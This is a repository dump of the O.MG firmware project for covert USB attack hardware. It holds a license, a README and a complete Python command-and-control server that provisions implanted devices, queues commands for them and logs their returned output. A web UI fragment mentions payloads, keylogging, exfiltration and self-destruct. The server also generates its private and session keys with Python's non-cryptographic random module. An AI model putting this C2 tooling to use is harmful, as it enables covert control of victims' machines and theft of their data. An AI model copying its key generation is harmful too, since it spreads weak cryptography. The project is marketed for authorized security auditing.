Repository: O-MG/O.MG-Firmware Branch: stable Commit: 18150f0e3404 Files: 20 Total size: 586.1 KB Directory structure: gitextract_edbq2fj2/ ├── .gitignore ├── LICENSE ├── README.md ├── c2server/ │ ├── c2server.py │ ├── index.html │ └── requirements.txt ├── firmware/ │ └── page.mpfs ├── flash.py ├── hashes.txt ├── scripts/ │ ├── flashapi.py │ ├── miniterm.py │ └── pager.py └── tools/ └── HIDX/ ├── powershell/ │ ├── minify.ps1 │ ├── win-hidexfil.ps1 │ └── win-hidshell.ps1 ├── python/ │ ├── hidxshell.py │ ├── linux-nativeshell.py │ ├── stealthlink-client-universal.py │ └── stealthlink-host-universal.py └── shell/ └── linux-hidexfil.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ pip-wheel-metadata/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ .DS_Store *.pem ================================================ FILE: LICENSE ================================================ SOFTWARE LICENSE AGREEMENT IMPORTANT - PLEASE READ CAREFULLY: THIS END-USER LICENSE AGREEMENT ("EULA" OR "AGREEMENT") IS A LEGAL AGREEMENT BETWEEN YOU (EITHER AN INDIVIDUAL OR A SINGLE ENTITY) ("YOU" OR "USER") AND MISCHIEF GADGETS LLC, OF 548 MARKET STREET #61961, SAN FRANCISCO, CALIFORNIA, 94104 ("OWNER"). BY USING ANY MISCHIEF GADGETS PRODUCT OR ANY PROPRIETARY SOFTWARE DEVELOPED BY THE OWNER ("SOFTWARE"), THE USER, EITHER ON BEHALF OF YOURSELF AS AN INDIVIDUAL OR ON BEHALF OF AN ENTITY AS ITS AUTHORIZED REPRESENTATIVE, AGREES TO ALL OF THE TERMS OF THIS AGREEMENT. BY INSTALLING, COPYING, OR OTHERWISE USING THE SOFTWARE, YOU AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, DO NOT INSTALL OR USE THE PRODUCTS OR SOFTWARE. GRANT OF LICENSE The SOFTWARE is protected by copyright laws and laws protecting the confidentiality of trade secrets. The SOFTWARE is licensed, not sold. Any supplemental software or software code, provided to the USER as part of support, shall be considered part of the SOFTWARE and subject to the terms and conditions of this AGREEMENT. Subject to the terms of this AGREEMENT, OWNER hereby grants USER a non-transferable license to use the SOFTWARE for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable. USER is solely responsible for compliance with all laws of their locality. LICENSE RESTRICTIONS The USER may not: (a) Reverse engineer, decompile, or disassemble any portions of the SOFTWARE, or allow others to do so, except and only to the extent that such activity is expressly permitted by applicable law, notwithstanding this limitation; (b) Distribute the SOFTWARE or any derivative works based upon the SOFTWARE, in whole or in part, to any third-party or entity without prior written authorization from the OWNER; (c) Resell, lease, rent, transfer, sub-license, or otherwise transfer rights to the SOFTWARE to any third-party or entity without prior written authorization from the OWNER; (d) Copy, clone, duplicate, or distribute copies of the SOFTWARE from one computer to another, or electronically transfer the SOFTWARE from one computer to another over any public or private network, without prior written authorization from the OWNER; (e) Use the SOFTWARE for any unlawful or unethical purpose or deploy the SOFTWARE to any computer system which the USER has no legal right to access; (f) Attempt in any way to obliterate or destroy the trade secret or copyright notice that is incorporated into and part of the SOFTWARE. The USER must reproduce fully the trade secret or copyright notice in all copies of the SOFTWARE. (g) USE THE SOFTWARE IN ANY APPLICATION WHERE THE SOFTWARE MAY RESULT IN DEATH, PERSONAL INJURY OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE. TITLE, OWNERSHIP, INTELLECTUAL PROPERTY YOU acknowledge that no title to the SOFTWARE or the intellectual property contained within it is transferred to YOU, the USER. The OWNER retains exclusive ownership of all rights, title and interest in and to the SOFTWARE, source code, and intellectual property. It is understood and agreed that the SOFTWARE, including any accompanying scripts and support files, is copyrighted by the OWNER and may not be reproduced and/or redistributed without the advanced written consent of the OWNER except where expressly permitted under this AGREEMENT. The SOFTWARE is protected by copyright laws, and the USER must treat the SOFTWARE like any other copyrighted material except the USER may install the SOFTWARE as provided by this AGREEMENT. Any rights not expressly granted are reserved by the OWNER. MAINTENANCE The OWNER shall not be obligated to provide maintenance and/or updates and/or fixes for the SOFTWARE; however, any such maintenance and/or updates and/or fixes provided by the OWNER shall be covered by this AGREEMENT. EXPORT CONTROL As required by U.S. law, the USER represents and warrants that it: (a) Is not located in a prohibited destination country under U.S. sanctions regulations; (b) Will not export, re-export, or transfer the SOFTWARE to any prohibited destination, entity, or individual without the necessary export license(s) or authorization(s) from the U.S. Government; (c) Will not use or transfer the SOFTWARE for use in any sensitive nuclear, chemical or biological weapons, or missile technology end-uses unless authorized by the U.S. Government by regulation or specific license; (d) Understands and agrees that if it is in the United States and exports or transfers the SOFTWARE to eligible end users, it will comply with U.S. export regulations and laws; and (e) Understands that countries other than the United States may restrict the import, use, or export of encryption products and that it shall be solely responsible for compliance with any such import, use, or export restrictions. TERMINATION The USER may terminate this AGREEMENT at any time by uninstalling the SOFTWARE and destroying all copies of the SOFTWARE in possession of the USER. This AGREEMENT shall terminate automatically if the USER fails to comply with the terms of this AGREEMENT. Upon termination, the USER must uninstall and destroy all copies of the SOFTWARE and all of its components. TERMINATION OF THIS AGREEMENT SHALL NOT RELIEVE THE USER OF ITS OBLIGATIONS REGARDING THE PROTECTION OF COPYRIGHTS AND TRADE SECRETS RELATING TO THE PRODUCT. DISCLAIMER OF WARRANTY THE OWNER EXPRESSLY DISCLAIMS ANY WARRANTY FOR THE SOFTWARE. THE SOFTWARE IS PROVIDED "AS IS" AND WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE OWNER DISCLAIMS ALL WARRANTIES, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. THE OWNER DOES NOT WARRANT OR ASSUME RESPONSIBILITY FOR THE ACCURACY OR COMPLETENESS OF ANY INFORMATION, TEXT, GRAPHICS, LINKS, OR OTHER ITEMS CONTAINED WITHIN THE SOFTWARE. THE OWNER MAKES NO WARRANTIES RESPECTING ANY HARM THAT MAY BE CAUSED BY THE TRANSMISSION OF A COMPUTER VIRUS, WORM, OR OTHER SUCH COMPUTER PROGRAM. THE OWNER FURTHER EXPRESSLY DISCLAIMS ANY WARRANTY OR REPRESENTATION TO USER OR TO ANY THIRD PARTY. LIMITATION OF LIABILITY THE ENTIRE RISK ARISING OUT OF THE USE AND/OR PERFORMANCE OF THE PRODUCT AND/OR DOCUMENTATION REMAINS WITH THE USER TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, AND IN NO EVENT SHALL THE OWNER BE LIABLE FOR ANY CONSEQUENTIAL, INCIDENTAL, DIRECT, INDIRECT, SPECULATIVE, PUNITIVE, OR OTHER DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) ARISING OUT OF THIS AGREEMENT OR THE USE OF OR INABILITY TO USE THE PRODUCT, EVEN IF THE OWNER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE OWNER SHALL HAVE NO LIABILITY WITH RESPECT OF THE CONTENT OF THE SOFTWARE OR ANY PART THEREOF, INCLUDING BUT NOT LIMITED TO ERRORS OR OMISSIONS CONTAINED THEREIN, LIBEL, INFRINGEMENTS OF RIGHTS OF PUBLICITY, PRIVACY, TRADEMARK RIGHTS, BUSINESS INTERRUPTION, PERSONAL INJURY, LOSS OF PRIVACY, MORAL RIGHTS OR THE DISCLOSURE OF CONFIDENTIAL INFORMATION. ANY LIABILITY OF THE OWNER SHALL BE EXCLUSIVELY LIMITED TO THE PRODUCT REPLACEMENT OR RETURN OF THE PURCHASE/LICENSING PRICE. NO OTHER ADVERTISING, DESCRIPTION OR REPRESENTATION, WHETHER OR NOT MADE BY THE OWNER OR THE OWNER'S DEALER, DISTRIBUTOR, AGENT OR EMPLOYEE, SHALL BE BINDING UPON THE OWNER OR SHALL CHANGE THE TERMS OF THIS WARRANTY. USER REMEDIES The OWNER'S entire liability and YOUR exclusive remedy shall be, at the OWNER's option, either (a) return of the price paid, or (b) replacement of the SOFTWARE. GOVERNING LAW This AGREEMENT shall be governed by and construed in accordance with the laws of the State of California. ENTIRE AGREEMENT This AGREEMENT constitutes the entire understanding between the OWNER and the USER. The USER agrees that this is the entire agreement between the USER and the OWNER, and supersedes any prior agreement, whether written or oral, and all other communications between the OWNER and the USER relating to the subject matter of this AGREEMENT and cannot be altered or modified, except in writing. RESERVATION OF RIGHTS All rights not expressly granted under this AGREEMENT are reserved entirely to the OWNER. HEADINGS AND CAPTIONS The captions of this AGREEMENT are for convenience and reference only, and in no way define or limit the intent, rights, or obligations of the parties hereunder. Additionally, any heading preceding the text of any of the paragraphs in this AGREEMENT are inserted solely for convenience of reference and shall not constitute a part of the AGREEMENT, nor shall they affect the meaning, construction or effect of any of the paragraphs of the AGREEMENT. BINDING EFFECT This AGREEMENT and the terms and conditions of this AGREEMENT shall be binding upon the parties to this AGREEMENT and their respective heirs, personal representatives and assigns. INTERPRETATION No provision of this AGREEMENT shall be interpreted for or against any party to this AGREEMENT by reason of the fact that the party or his/ her counsel or legal representative drafted all or any part of this AGREEMENT. ATTORNEY'S FEES In any action under this AGREEMENT, the prevailing party shall be entitled to reasonable attorney's fees set by the Court or by arbitration. SEVERABILITY Should any provision of this AGREEMENT be found, held or deemed to be unenforceable, voidable, or void as contrary to law or public policy under the state of California or other appropriate jurisdiction, the parties intend and agree that the remaining provisions shall nevertheless continue in full force and be binding upon the parties, their heirs, personal representatives, and assigns. ================================================ FILE: README.md ================================================ This is for all versions of the O.MG Cable, O.MG Adapter, and O.MG Plug # [Setup Instructions & Latest Firmware](https://github.com/O-MG/O.MG-Firmware/wiki) ================================================ FILE: c2server/c2server.py ================================================ import json import os import random as rnd import socket import sys import time from http.server import BaseHTTPRequestHandler, HTTPServer, SimpleHTTPRequestHandler, ThreadingHTTPServer import threading import urllib.request import re from urllib.parse import urlparse, parse_qs from datetime import datetime import monocypher as mono provisionFile_ver = 3 SESSION_LIFESPAN = 120 serverPort = 8000 adminPort = 8080 def get_ip_address(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip_address = s.getsockname()[0] s.close() return ip_address except Exception as e: print("Error occurred while getting IP address:", e) return None ip_address = get_ip_address() if ip_address: print("The computer's current IP address is:", ip_address) else: print("Could not determine the computer's IP address.") hostName = ip_address def write_c2log(alias, direction, msg): with open("c2log", "a") as f: timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") f.write(f"{alias}, {timestamp}, {direction}, {msg}\n") class c2server(BaseHTTPRequestHandler): def end_headers(self): self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET,POST') self.send_header('Access-Control-Allow-Headers', 'Content-Type') SimpleHTTPRequestHandler.end_headers(self) def do_GET(self): i = self.path.find("/C2=") if i < 0: return print("------ ------------------ ", self.path[i:]) raw_msg = bytearray.fromhex(self.path[i + 4:]) msg_size = (len(self.path) - 4) / 2 resp = the_host.process_message(raw_msg, msg_size) self.send_response(200) if resp is not None: self.wfile.write(bytes(resp.hex(), "utf-8")) def do_POST(self): length = int(self.headers['Content-Length']) body = self.rfile.read(length) print(f"------ ------------------ len: {length}") resp = the_host.process_message(body, length) if resp is not None: self.wfile.write(bytes(resp.hex(), "utf-8")) class c2admin(SimpleHTTPRequestHandler): def end_headers(self): self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET,POST') self.send_header('Access-Control-Allow-Headers', 'Content-Type') SimpleHTTPRequestHandler.end_headers(self) def handle_C2admin(self): with open("c2config", "r") as f: content = f.read() self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() self.wfile.write(content.encode("utf-8")) def handle_C2log(self, alias=None, abridge=True): if os.path.exists("c2log"): with open("c2log", "r") as f: lines = f.readlines() if alias is not None: lines = [line for line in lines if line.startswith(alias)] if abridge: lines = [line for line in lines if not re.search(r'.*, out, \n', line)] content = "".join(lines) self.send_response(200) self.send_header("Content-type", "text/csv") self.end_headers() self.wfile.write(content.encode("utf-8")) else: log("No c2log file exists.") with open("c2log", 'w') as f: f.write("") def do_GET(self): url = urlparse(self.path) query_params = parse_qs(url.query) alias = query_params.get('alias', [None])[0] abridge = query_params.get('abridge', [False])[0] if url.path == "/C2admin": self.handle_C2admin() elif url.path == "/C2log": self.handle_C2log(alias, abridge) elif url.path == "/" or url.path == "/index.html": self.path = "/index.html" super().do_GET() else: self.send_response(404) self.end_headers() def do_POST(self): if self.path == "/C2admin": content_len = int(self.headers.get("Content-Length")) body = self.rfile.read(content_len) body_decoded = body.decode("utf-8") body_data = json.loads(body.decode("utf-8")) alias = body_data.get("alias", "") action = body_data.get("action", "") data = body_data.get("data", "") commands = [ "CI", "CV", "CWInfo", "CNGet", "CTList", "CFList", "CWStatus", "CEStatus", "CLStatus", "CHStatus", "C2Status", "C2Info" ] client_id = next((device["client_id"] for device in config.devices if device["alias"] == alias), None) client = the_host.clients.get(client_id) if client and action == "queueAdd": if data not in client.cmd_queue: client.cmd_queue.append(data) config.save_provision_files() self.send_response(200) self.end_headers() elif client and action == "queueDelete": try: data_int = int(data) log(data_int) client.cmd_queue.pop(data_int) config.save_provision_files() self.send_response(200) self.end_headers() except (ValueError, IndexError): self.send_response(400) self.end_headers() elif client and action == "queueClear": client.cmd_queue = [] config.save_provision_files() self.send_response(200) self.end_headers() elif client and action == "logClear": print(alias); if alias == "clearAllLogs": with open("c2log", "w") as f: f.write("") for device_client in the_host.clients.values(): device_client.cmd_queue = commands + device_client.cmd_queue else: with open("c2log", "r") as f: lines = f.readlines() lines = [line for line in lines if not line.startswith(alias)] with open("c2log", "w") as f: f.writelines(lines) client.cmd_queue = commands + client.cmd_queue config.save_provision_files() self.send_response(200) self.end_headers() elif client and action == "logClearAll": with open("c2log", "w") as f: f.write("") for device_client in the_host.clients.values(): device_client.cmd_queue = commands + device_client.cmd_queue config.save_provision_files() self.send_response(200) self.end_headers() elif client and action == "pollInterval": alias = body_data.get("alias", "") data = body_data.get("data", {}) matching_device = next((device for device in config.devices if device["alias"] == alias), None) if matching_device is not None: for key in ["poll_seconds", "fast_seconds", "contact_seconds"]: if key in data: matching_device[key] = data[key] config.save_provision_files() self.send_response(200) self.end_headers() else: self.send_response(400) self.end_headers() else: super().do_POST() class Host: session_count = 0 clients = {} sessions = {} class ClientData: def __init__(self, client_id, alias, client_exchange_key, cmd_queue): self.client_id = client_id self.alias = alias self.exchange_key = client_exchange_key self.cmd_queue = cmd_queue if cmd_queue else [ "CI", "CV", "CWInfo", "CNGet", "CTList", "CFList", "CWStatus", "CEStatus", "CLStatus", "CHStatus", "C2Status", "C2Info" ] class SessionData: def __init__(self, session_id, session_key, client_id, device_id, expires, interface_version): self.session_id = session_id self.session_key = session_key self.client_id = client_id self.device_id = device_id self.expires = expires self.ver = interface_version self.msg_count = 0 self.next_cmd = 0 def __init__(self, host_private_key, host_public_key): self.host_private_key = bytes.fromhex(host_private_key) if host_private_key else None self.public_key = bytes.fromhex(host_public_key) if host_public_key else None self.session_lifespan = SESSION_LIFESPAN config = c2config(self.public_key, self.host_private_key, ip_address, serverPort, adminPort) for device in config.devices: client_id = device['client_id'] alias = device['alias'] client_public_key = bytes.fromhex(device['client_public_key']) client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key) cmd_queue = device.get('cmd_queue', None) client = self.ClientData(client_id, alias, client_exchange_key, cmd_queue) self.clients[client_id] = client def provision(self, alias, poll_seconds, fast_seconds, contact_seconds): global config for device in config.devices: if device['alias'] == alias: print(f"Warning: Existing Device Alias {alias} already exists. Provisioning did not continue.") return self.session_count += 1 client_id = rnd.randint(0, 1000000) client_secret_key = gen_random(32) client_public_key = mono.compute_key_exchange_public_key(client_secret_key) client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key) client = self.ClientData(client_id, alias, client_exchange_key, None) self.clients[client_id] = client provision_data = { 'alias': alias, 'client_id': client_id, 'client_public_key': client_public_key.hex(), 'poll_seconds': poll_seconds, 'fast_seconds': fast_seconds, 'contact_seconds': contact_seconds } config.devices.append(provision_data) config.save_provision_files() log("Provisioned [{}] alias: {}".format(client_id, alias)) print(f"---------- Provision-file: {alias} ----------") device_config = f"host_pk = {self.public_key.hex()},host_url = {hostName},host_port = {serverPort},host_path = \"\",client_id = {client_id},client_sk = {client_secret_key.hex()},poll_rate = {poll_seconds},fast_rate = {fast_seconds},contact_rate = {contact_seconds}" print(device_config) print('\n\nPlease copy the above Provision-file, log into your O.MG Elite Device’s WebUI, go to Settings -> Net -> C2Config and paste the results, and then press "Change Settings” to apply.') def make_err_msg(self, err_code, err_text): print("***** Sending Error ", err_code, err_text) wrapper = MsgWrapper(109, err_code) return wrapper.secure_msg() def handle_hello(self, hello_msg, client): print("<<<<< Hello Msg >>>>>") client_id = client.client_id device_id = hello_msg.plain_msg[4:10] ver = 1 if hello_msg.msg_size > 10: ver = int.from_bytes(hello_msg.plain_msg[10:11], 'little') for key in self.sessions: session = self.sessions[key] if session.client_id == client_id and session.device_id == device_id: del (self.sessions[key]) break session_key = gen_random(32) not_unique = True while not_unique: session_id = rnd.randint(0, 1000000) not_unique = session_id in self.sessions expires = int(time.time()) + self.session_lifespan + 5 self.sessions[session_id] = self.SessionData(session_id, session_key, client_id, device_id, expires, ver) print(f"Session id: {session_id}, ver: {ver}, key: {session_key.hex()}") # Fetch the per-device values from the c2config device entry with the matching client_id matching_device = next((device for device in config.devices if device["client_id"] == client.client_id), None) if matching_device is not None: poll_seconds = matching_device.get("poll_seconds", self.session_lifespan) fast_seconds = matching_device.get("fast_seconds", self.session_lifespan) contact_seconds = matching_device.get("contact_seconds", poll_seconds) else: poll_seconds = fast_seconds = contact_seconds = self.session_lifespan plain_resp = HelloResponse(session_id, session_key, self.session_lifespan, poll_seconds, fast_seconds, contact_seconds) resp = MsgWrapper(101, plain_resp.text, len(plain_resp.text)) resp.encrypt(client.exchange_key) wrapped_msg = resp.secure_msg() print(" secure msg: ", wrapped_msg.hex()) return wrapped_msg def handle_poll(self, poll_msg, session): seq_no = int.from_bytes(poll_msg.plain_msg[4:8], 'little') script_status = int.from_bytes(poll_msg.plain_msg[8:9], 'little') print(f"<<<<< Poll Msg #{seq_no} - SS: {script_status}>>>>>") client = self.clients[session.client_id] if len(client.cmd_queue) == 0: cmd = "" else: cmd = client.cmd_queue[session.next_cmd % len(client.cmd_queue)] cmd_len = len(cmd) if cmd_len == 0: is_more = 0 else: is_more = 1 if cmd.startswith("CE") and not cmd.startswith("CEStatus"): if session.ver > 1 and script_status != 0: cmd = "" else: session.next_cmd += 1 else: session.next_cmd += 0 if len(cmd): print(f">>>>> Running command {cmd}") else: print(">>>>> Idle (No command sent)") msg = CommandMsg(seq_no, bytes(cmd, "utf-8"), is_more) resp = MsgWrapper(102, msg.text, len(msg.text)) resp.encrypt(session.session_key) wrapped_msg = resp.secure_msg() client = self.clients[session.client_id] write_c2log(client.alias, "out", cmd) return wrapped_msg def handle_response(self, command_response, session): seq_no = int.from_bytes(command_response.plain_msg[0:4], 'little') resp_size = int.from_bytes(command_response.plain_msg[4:6], 'little') cmd_offset = 7 try: response = command_response.plain_msg[7:].decode('utf-8') except UnicodeDecodeError: hex_response = command_response.plain_msg[7:].hex() split_hex = hex_response.split("09", 1) if len(split_hex) > 1: try: first_part = bytes.fromhex(split_hex[0]).decode('utf-8') response = first_part + '\t' + split_hex[1] except UnicodeDecodeError: response = hex_response else: response = hex_response print(f"<<<<< Output for #{seq_no} >>>>> size: {resp_size} ({len(command_response.plain_msg[7:])})") print(response) client = self.clients[session.client_id] write_c2log(client.alias, "in ", response) cmd = client.cmd_queue.pop(0) # Remove the cmd from the cmd_queue config.save_provision_files() def handle_error(self, err_msg, session): log("Device error: " + err_msg.plain_text) def process_message(self, raw_msg, raw_len): if raw_len < 47: return self.make_err_msg(101, "Bad message, too short") msg = MsgWrapper(raw_msg) if msg.msg_type == 1: if msg.id not in self.clients: return self.make_err_msg(102, "Unknown client-id") client = self.clients[msg.id] key = client.exchange_key else: if msg.id not in self.sessions: config.load_provision_files() return self.make_err_msg(103, "Unknown session-id") session = self.sessions[msg.id] if session.expires < int(time.time()): return self.make_err_msg(104, "Session has expired") key = session.session_key if not msg.decrypt(key): return self.make_err_msg(105, "Invalid encryption") if msg.msg_type == 1: return self.handle_hello(msg, client) if msg.msg_type == 2: return self.handle_poll(msg, session) elif msg.msg_type == 3: return self.handle_response(msg, session) elif msg.msg_type == 9: return self.handle_error(msg, session) return self.make_err_msg(106, "Unknown message-type") class HelloResponse: def __init__(self, session_id, session_key, expiry, poll_seconds, fast_seconds, contact_seconds): self.text = bytearray() self.text.extend(session_id.to_bytes(4, 'little')) self.text.extend(expiry.to_bytes(4, 'little')) self.text.extend(session_key) self.text.extend(poll_seconds.to_bytes(4, 'little')) self.text.extend(fast_seconds.to_bytes(4, 'little')) self.text.extend(contact_seconds.to_bytes(4, 'little')) class CommandMsg: def __init__(self, seq, command, is_more): cmd_len = len(command) self.text = bytearray() self.text.extend(seq.to_bytes(4, 'little')) self.text.extend(cmd_len.to_bytes(2, 'little')) self.text.extend(is_more.to_bytes(1, 'little')) self.text.extend(command) print(" is_more: ", is_more) class MsgWrapper: def __init__(self, *args): if len(args) == 1: msg = args[0] self.msg_type = msg[0] self.id = int.from_bytes(msg[1:5], 'little') self.nonce = msg[5:29] self.mac = msg[29:45] if self.msg_type != 9: self.msg_size = int.from_bytes(msg[45:47], 'little') self.err_code = 0 else: self.err_code = int.from_bytes(msg[45:47], 'little') self.msg_size = 0 self.encoded = msg[47:47 + self.msg_size] self.plain_msg = None else: self.msg_type = args[0] self.id = 0 self.nonce = None self.mac = None self.encoded = None if len(args) == 2: self.err_code = args[1] self.msg_size = 0 else: self.plain_msg = args[1] self.msg_size = args[2] self.err_code = 0 def encrypt(self, key): if self.msg_type == 109: return self.nonce = gen_random(24) self.mac, self.encoded = mono.lock(key, self.nonce, self.plain_msg) def decrypt(self, key): if self.msg_type == 9: return self.plain_msg = mono.unlock(key, self.nonce, self.mac, self.encoded) if self.plain_msg is None: print(" Decrypt failed") return False return True def secure_msg(self): msg = bytearray() msg.extend(self.msg_type.to_bytes(1, 'little')) msg.extend(self.id.to_bytes(4, 'little')) if self.msg_type == 9 or self.msg_type == 109: msg.extend(bytearray(40)) msg.extend(self.err_code.to_bytes(2, 'little')) else: msg.extend(self.nonce) msg.extend(self.mac) msg.extend(self.msg_size.to_bytes(2, 'little')) msg.extend(self.encoded) return msg def log(err_text): print(" ", err_text) def gen_random(size): return bytes(rnd.randint(0, 255) for _ in range(size)) class c2config: def __init__(self, host_public_key, host_private_key, host_url, host_port, admin_port): self.host_public_key = host_public_key self.host_private_key = host_private_key self.host_url = host_url self.host_port = host_port self.admin_port = admin_port self.devices = [] if os.path.exists("c2config"): self.load_provision_files() else: print("No c2config file exists.") print('You must provision an O.MG Elite Device before you can use.\n\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\n') self.host_private_key = gen_random(32).hex() # Generate host private key self.host_public_key = mono.compute_key_exchange_public_key( bytes.fromhex(self.host_private_key)).hex() # Compute host public key self.save_provision_files() # Save the generated keys def save_provision_files(self): devices_with_cmd_queue = [] for device in self.devices: client = the_host.clients[device['client_id']] device_with_cmd_queue = device.copy() device_with_cmd_queue['cmd_queue'] = client.cmd_queue devices_with_cmd_queue.append(device_with_cmd_queue) config_data = { 'host_public_key': self.host_public_key, 'host_private_key': self.host_private_key, 'host_url': self.host_url, 'host_port': self.host_port, 'admin_port': self.admin_port, 'devices': devices_with_cmd_queue } with open("c2config", 'w') as f: json.dump(config_data, f, indent=4) def load_provision_files(self): try: with open("c2config", 'r') as f: if os.path.getsize("c2config") == 0: self.devices = [] else: config_data = json.load(f) self.host_public_key = config_data['host_public_key'] self.host_private_key = config_data['host_private_key'] self.host_url = config_data['host_url'] self.host_port = config_data['host_port'] self.admin_port = config_data['admin_port'] self.devices = config_data['devices'] except FileNotFoundError: self.devices = [] self.host_private_key = gen_random(32).hex() self.host_public_key = mono.compute_key_exchange_public_key( bytes.fromhex(self.host_private_key)).hex() self.save_provision_files() except json.JSONDecodeError: self.devices = [] def validate_arguments(argv): if (len(argv) - 2) % 4 != 0: return False, "\nERROR: Incorrect number of arguments.\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\n" try: for i in range(2, len(argv), 4): int(argv[i + 1]) int(argv[i + 2]) int(argv[i + 3]) except ValueError: return False, "ERROR: Expected integer values for poll_seconds, fast_seconds, and contact_seconds.\n" return True, "" rnd.seed() webServer = None if __name__ == "__main__": config = c2config(None, None, ip_address, serverPort, adminPort) the_host = Host(config.host_private_key, config.host_public_key) for device in config.devices: client_id = device['client_id'] alias = device['alias'] client_exchange_key = mono.key_exchange(the_host.host_private_key, bytes.fromhex(device['client_public_key'])) client = the_host.ClientData(client_id, alias, client_exchange_key, device['cmd_queue']) the_host.clients[client_id] = client config.load_provision_files() if len(sys.argv) > 1 and sys.argv[1].lower() == 'provision': valid, error_msg = validate_arguments(sys.argv) if not valid: print(error_msg) print("Example usage: python3 ./c2server.py provision cableOne 60 1 300\nExample usage: python3 ./c2server.py provision cableOne 60 1 300 cableTwo 120 1 600") else: index = 2 while index < len(sys.argv): try: alias = sys.argv[index] poll_seconds = int(sys.argv[index + 1]) fast_seconds = int(sys.argv[index + 2]) contact_seconds = int(sys.argv[index + 3]) the_host.provision(alias, poll_seconds, fast_seconds, contact_seconds) index += 4 except (IndexError, ValueError): print("Invalid arguments for provisioning. Expected sets of (alias, poll_seconds, fast_seconds, contact_seconds).") else: try: secondaryServer = ThreadingHTTPServer((config.host_url, config.admin_port), c2admin) secondaryThread = threading.Thread(target=secondaryServer.serve_forever) secondaryThread.daemon = True secondaryThread.start() print("AdminUI server started http://%s:%s" % (config.host_url, config.admin_port)) except OSError as e: print("Failed to start the AdminUI server.") print(e); if 'Address already in use' in str(e): print(f"Port {config.admin_port} is already in use. Please choose a different port in your c2config.") elif 'Can\'t assign requested address' in str(e): print(f"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.") sys.exit(1) try: webServer = HTTPServer((config.host_url, config.host_port), c2server) print("C2 server started http://%s:%s" % (config.host_url, config.host_port)) with webServer: webServer.serve_forever() except KeyboardInterrupt: print("Server stopped.") except OSError as e: print(e); print("Failed to start the C2 server.") if 'Address already in use' in str(e): print(f"Port {config.host_port} is already in use. Please choose a different port in your c2config.") elif 'Can\'t assign requested address' in str(e): print(f"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.") sys.exit(1) finally: if webServer is not None: webServer.server_close() print("Server stopped.") ================================================ FILE: c2server/index.html ================================================ O.MG
File: unsaved ( unsaved )

Loading WebUI

Keymap Viewer

Partition Editor

Payloads

Type
Count
Size
Payload Cache
Bootscript

Exfiltration

HIDX Exfil to File
Keylog  keys


Partition Applied

Your device will now reboot.

O.MG Initial Device Setup


Do not expose to extreme heat.

Do not expose to >5V.

Do not eat.

Do not submerge in water.



O.MG Initial Device Setup

This device is currently running factory-loaded firmware.
Firmware build date:

An O.MG Programmer is required for both device recovery and firmware updates. Before using the device, we strongly recommend updating the firmware to ensure you have the latest features, improvements, and bug fixes. ( https://o.mg.lol/setup )

If the device becomes inaccessible — for example, due to Self-Destruct activation or accidental Wi-Fi or boot payload configurations — an O.MG Programmer will be required to recover it.




O.MG Initial Device Setup

Agreement

